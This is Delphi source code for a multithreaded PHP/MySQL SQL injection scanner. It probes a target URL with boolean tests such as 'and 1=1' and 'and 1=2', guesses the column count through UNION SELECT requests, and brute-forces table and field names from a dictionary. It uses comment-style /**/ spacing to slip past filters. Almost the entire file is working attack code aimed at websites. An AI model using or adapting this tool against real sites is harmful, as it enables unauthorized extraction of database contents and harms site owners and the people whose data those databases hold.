unit2.pas

PHP+MYSQL网站注入扫描工具

unit Unit2;

interface

uses
  Classes,StdCtrls,Windows,SysUtils,ComCtrls,IdHTTP;

var
  CS:TRTLCriticalSection;    //定义全局临界区

type
  //扫描网站是否可以注入及当前注入点对应表字段数线程类
  scanThread = class(TThread)
  protected
    FUrl,InjUrl,FStr: string; //要注入的网站地址
    FKeyWord: string; //关键字
    FState: boolean;
    FMemo: TMemo;
    FListView: TListView;
    FNum: Integer;
    FTable,FValue :string;
    procedure Execute; override;
  public
    //constructor Create(Url,KeyWord:string;Memo:TMemo);
  end;
  //扫描表段注入线程类
  scanTableThread = class(scanThread)
  private
    procedure scanTableResult;
  protected
    procedure Execute; override;
  public
    constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
  end;
  //扫描字段注入线程类
  scanFieldThread = class(scanThread)
  private
    procedure scanFieldResult;
  protected
    procedure Execute; override;
  public
    constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
  end;

function Get(URL,Key: string): boolean;

var
  stoped:boolean;
  scanFinish:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
  IDHTTP: TIDHttp;
  ss: String;
begin
  Result:= False;
  IDHTTP:= TIDHTTP.Create(nil);
  try
    try
      idhttp.HandleRedirects:= true;     //必须支持重定向否则可能出错
      idhttp.ReadTimeout:= 30000;       //超过这个时间则不再访问
      ss:= IDHTTP.Get(URL);
      if Key='' then
      begin
        if IDHTTP.ResponseCode=200 then
          Result :=true;
      end else
      begin
        if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
          Result :=true;
      end;
    except
    end;
  finally
    IDHTTP.Free;
  end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FreeOnTerminate := True; // 自动删除
  inherited Create(False); // 直接运行
end;}

procedure scanThread.Execute;
var
  i:integer;
  iStr:string;
begin
  scanFinish :=False;
  FMemo :=Form1.MM;
  FUrl :=trim(Form1.EdtInjUrl.Text);
  FKeyWord :=trim(Form1.EdtKey.Text);
  FMemo.Lines.Clear;
  FMemo.Lines.Add('正在检测注入点是否可用。。。');
  if (not Get(FUrl,'')) or (not Get(FUrl+'/**/and/**/1=1/*',''))
      or (not Get(FUrl+'/**/and/**/1=2/*','')) then
  begin
    FMemo.Lines.Add('注入点不可用，猜解终止！');
    exit;
  end;
  //开始猜解字段数目
  i:=1;
  iStr:='1';
  FState :=False;
  FMemo.Lines.Add(''); 
  FMemo.Lines.Add('开始猜解字段数目。。。');
  FMemo.Lines.Add('');
  while not FState do
  begin
    inc(i);
    if i>50 then
    begin
      FMemo.Lines.Add('最大猜解字段数大于50,猜解终止！');
      FState :=True;
      exit;
    end;
    if scanFinish then
    begin
      FMemo.Lines.Add('');
      FMemo.Lines.Add('字段数目猜解终止！');
      exit;
    end;

    iStr:=iStr+','+IntToStr(i);
    InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+iStr+'/*';
    FMemo.Lines.Add(InjUrl);
    if Get(InjUrl,FKeyWord) then
    begin
      FState :=True;
      FMemo.Lines.Add('');
      FMemo.Lines.Add('字段数目猜解结束！共找到'+IntToStr(i)+'个字段。');
      Form1.EdtFieldNum.Text :=IntToStr(i);
      Form1.spNum.MaxValue :=i;
      Form1.spNum.Text :=IntToStr(i);
      Form1.spField1.MaxValue :=i;
      Form1.spField2.MaxValue :=i;
      exit;  
    end;
  end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
  FListView :=ListView;
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FStr :=Str;
  FreeOnTerminate := True; // 自动删除
  InitializeCriticalSection(CS); //初始化临界区
  //inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
  inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
  with FListView.Items.Add do
  begin
    Caption :=IntToStr(FListView.Items.Count);
    SubItems.Add(FValue);
  end;
end;

//在一个线程内完成表段猜解工作
procedure scanTableThread.Execute;
var i:integer;
begin
  stoped :=False;
  with Form1 do
  begin
    pg1.Min :=0;
    pg1.Max :=Form1.lsbDict.Count;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
  end;
  EnterCriticalSection(cs); //进入临界区
  FMemo.Lines.Add('开始猜解表段。。。');
  FMemo.Lines.Add('');
  for i:=0 to Form1.lsbDict.Count-1 do
  begin
    if stoped then
    begin
      FMemo.Lines.Add('');
      FMemo.Lines.Add('表段猜解结束。。。');
      Form1.pg1.Visible :=False;
      exit;
    end;
    FValue :=Form1.lsbDict.Items[i];
    if FValue='' then Continue;
    InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+FStr+'/**/from/**/'+FValue+'/*';
    FMemo.Lines.Add(InjUrl);
    Form1.pg1.StepIt;
    if Get(InjUrl,FKeyWord) then
    begin
      Synchronize(scanTableResult); //同步
    end;
  end;
  FMemo.Lines.Add('');
  FMemo.Lines.Add('表段猜解结束。。。');
  Form1.pg1.Visible :=False;
  LeaveCriticalSection(CS); //退出临界区
  sleep(20); // 线程挂起;
end;

//创建多个线程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
  FListView :=ListView;
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FStr :=Str;
  FTable :=Table;
  FNum :=Num;
  FreeOnTerminate := True; // 自动删除
  InitializeCriticalSection(CS); //初始化临界区
  //inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
  inherited Create(False);
end;

procedure scanFieldThread.scanFieldResult;
begin
  with FListView.Items.Add do
  begin
    Caption :=IntToStr(FListView.Items.Count);
    SubItems.Add(FValue);
  end;
end;

procedure scanFieldThread.Execute;
var
  i:integer;
  TmpStr:string;
begin
  FValue :=Form1.lsbDict.Items[FNum];
  TmpStr :=StringReplace(FStr,'&FIELDNAME&',FValue,[rfIgnoreCase]);
  InjUrl:=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+TmpStr+'/**/from/**/'+FTable+'/*';
  EnterCriticalSection(cs); //进入临界区
  if Terminated then exit;
  FMemo.Lines.Add(InjUrl);
  if Get(InjUrl,FKeyWord) then
  begin
    Synchronize(scanFieldResult); //同步
  end;
  LeaveCriticalSection(CS); //退出临界区
  sleep(20); // 线程挂起;
end;

end.